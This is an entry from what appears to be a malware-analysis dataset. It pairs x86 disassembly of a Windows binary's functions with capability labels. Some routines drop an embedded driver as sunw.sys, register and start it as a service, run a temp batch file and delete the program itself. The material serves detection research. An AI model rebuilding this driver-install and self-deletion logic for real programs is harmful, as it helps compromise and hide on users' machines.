joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43df31
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [0x4096f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x29c], eax
mov eax, dword [0x4777b0]
push ebx
mov ebx, dword [ebp + 8]
cmp eax, 0xffffffff
je 0x43e10c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
mov dword [ebp - 0x2a0], edi
test edi, edi
je 0x43e10b
push esi
xor esi, esi
cmp dword [edi], esi
jne 0x43e10a
mov dword [edi], 1
cmp ebx, 0x7e
ja 0x43e108
mov ebx, dword [edi + ebx*4 + 4]
mov dword [ebp - 0x2a4], ebx
test ebx, ebx
je 0x43e108
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + 0x14]
and eax, 3
add esp, 0xc
mov dword [ebp - 0x290], esi
mov dword [ebp - 0x298], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push ebx
mov dword [ebp - 0x294], eax
call fcn.0043e234
cmp eax, dword [ebx + 0x24]
jg 0x43e02d
mov ecx, dword [ebx + 0x48]
cmp ecx, dword [ebx + 0x44]
jae 0x43e02d
test byte [ebx + 4], 1
jne 0x43e02d
test dword [ebx + 4], 0x400
jne 0x43e02d
test byte [ebp + 0x14], 0x10
jne 0x43e02d
cmp dword [0x479998], esi
je 0x43e02d
push esi
lea eax, [ebp - 0x28c]
push eax
push 0x20
push 1
call dword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
movzx eax, ax
mov dword [ebp - 0x290], eax
jmp 0x43e02f
mov eax, esi
mov edi, dword [ebp - 0x298]
mov esi, ebx
mov ebx, dword [ebp - 0x29c]
push ebx
push eax
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x294]
push dword [ebp + 0xc]
push edi
call fcn.0043e329
test byte [esi + 4], 2
jne 0x43e06e
mov esi, dword [esi]
mov eax, dword [ebp - 0x290]
test esi, esi
jne 0x43e03d
mov ebx, dword [ebp - 0x2a4]
test edi, edi
mov edi, dword [ebp - 0x2a0]
jne 0x43e0b5
test byte [0x477940], 2
je 0x43e0b5
push dword [ebp - 0x29c]
push dword [ebp - 0x294]
push dword [ebp + 0xc]
push dword [ebx + 8]
push dword [ebx + 0x38]
push dword [ebx + 0x34]
push 0x4025e8
push dword [0x47794c]
push dword [0x477948]
call fcn.0043e11b
mov esi, dword [ebx + 0xc]
cmp esi, 0xffffffff
je 0x43e103
mov esi, dword [edi + esi*4 + 4]
test esi, esi
je 0x43e103
mov edi, dword [ebp - 0x298]
mov ebx, dword [ebp - 0x290]
push 0
push ebx
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x294]
push dword [ebp + 0xc]
push edi
call fcn.0043e329
test byte [esi + 4], 2
jne 0x43e0fd
mov esi, dword [esi]
test esi, esi
jne 0x43e0d1
mov edi, dword [ebp - 0x2a0]
and dword [edi], 0
jmp 0x43e10a
mov dword [edi], esi
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0042e34e
leave
ret 0x10
Function at 0x402300
Capabilities:
Create service
Delete service
Get common file path
Move file
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.0040c1c0
add esp, 0xc
push 0x80
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402350
mov edx, dword [str._sunw.sys]
mov ecx, dword [0x453f34]
push ebx
push esi
push edi
push 0xf003f
mov dword [eax], edx
mov dx, word [0x453f38]
push 0
mov dword [eax + 4], ecx
push 0
mov word [eax + 8], dx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0xf01ff
mov esi, eax
push str.sunw
push esi
call ebx
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 1
push 3
push 1
push 0xf01ff
push str.sunw
push str.sunw
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x402404
push str.c:windows_s.tmp
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
push eax
call edi
push 0xf01ff
push str.sunw
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x402440
push str.c:windows_s.tmp
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
call edi
push esi
call edi
push str.c:windows_s.tmp
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x402480
Capabilities:
Check os version
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
xor esi, esi
lea eax, [ebp - 0x107]
push esi
push eax
mov byte [ebp - 0x108], 0
call fcn.0040c1c0
push 0x90
lea ecx, [ebp - 0x198]
push esi
push ecx
mov dword [ebp - 0x19c], 0x94
call fcn.0040c1c0
add esp, 0x18
lea edx, [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x198], 5
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
lea ebx, [esi + 1]
jne 0x402503
cmp dword [ebp - 0x194], ebx
jne 0x402525
push 0x453f44
push 0x67
push esi
call edi
mov esi, eax
cmp dword [ebp - 0x198], 6
jne 0x402521
cmp dword [ebp - 0x194], ebx
jne 0x402521
push 0x453f44
push 0x68
push 0
call edi
mov esi, eax
test esi, esi
jne 0x40253f
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x40252b
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40252b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x40252b
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402581
mov ecx, dword [str._sunw.sys]
mov edx, dword [0x453f34]
push 0
push 0
push 2
push 0
mov dword [eax], ecx
mov cx, word [0x453f38]
push 0
mov dword [eax + 4], edx
push 0x40000000
lea edx, [ebp - 0x108]
push edx
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40252b
push 0
lea eax, [ebp - 0x1a0]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40252b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x402640
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, str._uninsepa.bat
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402670
push ebx
push esi
push edi
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402683
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov cl, byte [ebp + eax - 0x20c]
mov byte [ebp + eax - 0x310], cl
inc eax
test cl, cl
jne 0x4026b1
lea edx, [ebp - 0x310]
push 0x5c
push edx
call fcn.00406da0
add esp, 8
test eax, eax
je 0x4026dc
mov byte [eax], 0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4027b0
mov eax, 0x45a800
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402710
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402724
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x108]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402738
sub eax, esi
lea ecx, [eax + edx*2 + 0x14]
add ecx, edi
push ecx
call fcn.004061e8
mov esi, eax
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
push 0x45a800
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, esi
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402774
push 0
sub eax, edx
lea edx, [ebp - 0x314]
push edx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x4027d0
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402926
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x402926
push 0x104
lea eax, [ebp - 0x310]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x402926
push esi
push str._c_del
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x20c]
push eax
call esi
push str.___nul
lea ecx, [ebp - 0x20c]
push ecx
call esi
lea ecx, [ebp - 0x34c]
lea edx, [ebp - 0x310]
lea eax, [ebp - 0x20c]
push ecx
mov dword [ebp - 0x34c], 0x3c
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x340], str.Open
mov dword [ebp - 0x33c], edx
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x348], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x402925
mov edx, dword [ebp - 0x314]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
lea eax, [ebp - 0x108]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00402640
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00405970
mov esp, ebp
pop ebp
ret

Function at 0x4032d0
Capabilities:
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.0040c1c0
add esp, 0xc
call fcn.00402bc0
mov esi, eax
test esi, esi
jne 0x40331d
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret 0x10
call fcn.00402480
call fcn.00402300
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x403340
mov edx, dword [str._sunw.sys]
mov ecx, dword [0x453f34]
mov dword [eax], edx
mov dx, word [0x453f38]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
push str.c:1.s
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, esi
call fcn.00402e10
call fcn.004027d0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405970
mov esp, ebp
pop ebp
ret 0x10
Function at 0x405220
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test ecx, ecx
jne 0x40522b
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
pop ebp
jmp fcn.00405240
Function at 0x405970
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45901c]
jne 0x40597a
repz ret
jmp fcn.00406fc1

Function at 0x410c4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407ae4
and dword [ebp - 0x14], 0
cmp dword [0x45b4f4], 0
mov dword [ebp - 0x18], eax
jne 0x410cff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x410da7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x410da7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45b4f4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45b4f8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45b4fc], eax
call edi
push eax
call esi
mov dword [0x45b504], eax
test eax, eax
je 0x410cff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45b500], eax
mov eax, dword [0x45b500]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x410d58
cmp dword [0x45b504], ecx
je 0x410d58
push eax
call esi
push dword [0x45b504]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x410d58
test ebx, ebx
je 0x410d58
call edi
test eax, eax
je 0x410d4f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x410d4f
test byte [ebp - 8], 1
jne 0x410d58
or dword [ebp + 0x10], 0x200000
jmp 0x410d8b
mov eax, dword [0x45b4f8]
cmp eax, dword [ebp - 0x18]
je 0x410d8b
push eax
call esi
test eax, eax
je 0x410d8b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x410d8b
mov eax, dword [0x45b4fc]
cmp eax, dword [ebp - 0x18]
je 0x410d8b
push eax
call esi
test eax, eax
je 0x410d8b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45b4f4]
call esi
test eax, eax
je 0x410da7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x410da9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405970
leave
ret

Function at 0x414ae0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x414b30
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x414b2a
shr eax, 8
cmp al, 2
jne 0x414b2a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x41ec90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x41ecc3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x41ee00
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x41ee1b
mov edx, dword [esi + 0x134]
push edx
push edi
push ebx
push eax
push esi
call ecx
add esp, 0x14
ret
test eax, eax
js 0x41ee4f
cmp eax, 2
jg 0x41ee4f
mov ecx, dword [esi + 0x130]
push ecx
push 1
lea edx, [eax + eax*2 + 0x44ccf8]
push 2
push edx
call fcn.0040b3d6
mov eax, dword [esi + 0x130]
push eax
push 1
push edi
push ebx
call fcn.0040b3d6
add esp, 0x20
xor eax, eax
ret

Function at 0x41f130
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x41f1ac
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x41f181
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.00424410
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.0041efc0
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x8604], edx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x420c40
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [esi + 0x46c], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x420c93
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.0041ef40
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x470]
push edx
mov dword [ebp - 0x10], 1
call fcn.00438000
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x474]
push eax
call fcn.00438000
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x98000004
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x420d05
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.0041ef40
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x421370
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x8c], 2
mov ebx, dword [esi]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x110], ebx
je 0x42154c
cmp dword [esi + 0x1d4], 0
push edi
jne 0x421542
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x104]
push ecx
push edi
mov dword [ebp - 0x10c], 0x80
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x421407
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00424410
push eax
push edi
push str.getpeername___failed_with_errno__d:__s
push ebx
call fcn.0041efc0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
push 0x80
lea edx, [ebp - 0x84]
push 0
push edx
mov dword [ebp - 0x10c], 0x80
call fcn.0040c1c0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x84]
push ecx
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x421470
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00424410
push eax
push edi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.0041efc0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
lea edi, [esi + 0xb8]
lea ebx, [esi + 0xe8]
lea esi, [ebp - 0x104]
mov dword [ebp - 0x114], edi
call fcn.00421330
test eax, eax
jne 0x4214cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x108]
mov esi, eax
push esi
push edx
call fcn.00424410
push eax
mov eax, dword [ebp - 0x110]
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push eax
call fcn.0041efc0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0x114]
lea edi, [eax + 0x58]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [eax + 0x11c]
lea edi, [eax + 0xec]
lea esi, [ebp - 0x84]
call fcn.00421330
test eax, eax
jne 0x42153c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x108]
mov esi, eax
push esi
push ecx
call fcn.00424410
mov edx, dword [ebp - 0x110]
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push edx
call fcn.0041efc0
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x108]
push esi
call fcn.004212d0
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00405970
mov esp, ebp
pop ebp
ret
Function at 0x421560
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [edi]
mov eax, dword [esi + 0x364]
push 4
lea ecx, [ebp - 4]
push ecx
push 1
push 6
push edx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4215a6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.00424410
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.0041ef40
add esp, 0x14
pop esi
mov esp, ebp
pop ebp
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.0041ef40
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4215c0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x45b580]
mov dword [ebp - 0xa4], 0x4020
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 4
test eax, eax
jne 0x42166a
push 0x9c
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.0040c1c0
add esp, 0xc
push 3
push 2
push 0
push 0
mov dword [ebp - 0xa0], 0x9c
mov dword [ebp - 0x9c], 6
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
push 2
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x42165e
mov dword [0x45b580], 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret
mov dword [0x45b580], 1
jmp 0x42166f
cmp eax, 2
je 0x4216bf
push esi
mov esi, dword [ebp + 8]
lea edx, [ebp - 0xac]
push edx
lea eax, [ebp - 0xa8]
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4216a4
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [ebp - 0xa4]
jg 0x4216be
push 4
lea edx, [ebp - 0xa4]
push edx
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405970
mov esp, ebp
pop ebp
ret

Function at 0x4216f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x5c8]
test esi, esi
je 0x42173b
mov eax, dword [edi + 0x44]
test eax, eax
je 0x42173b
push 0x4216d0
lea ecx, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0
mov edx, dword [eax + 0x34]
push ecx
push edx
call fcn.004387b0
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x421744
mov dword [edi + 0x5c8], 0
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x42174d
mov dword [eax], esi
cmp dword [esi + 0x17c], 0
mov edi, dword [esi + 0x154]
jne 0x42173b
push 2
push 1
lea eax, [ebp + 0xb]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x42173b
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret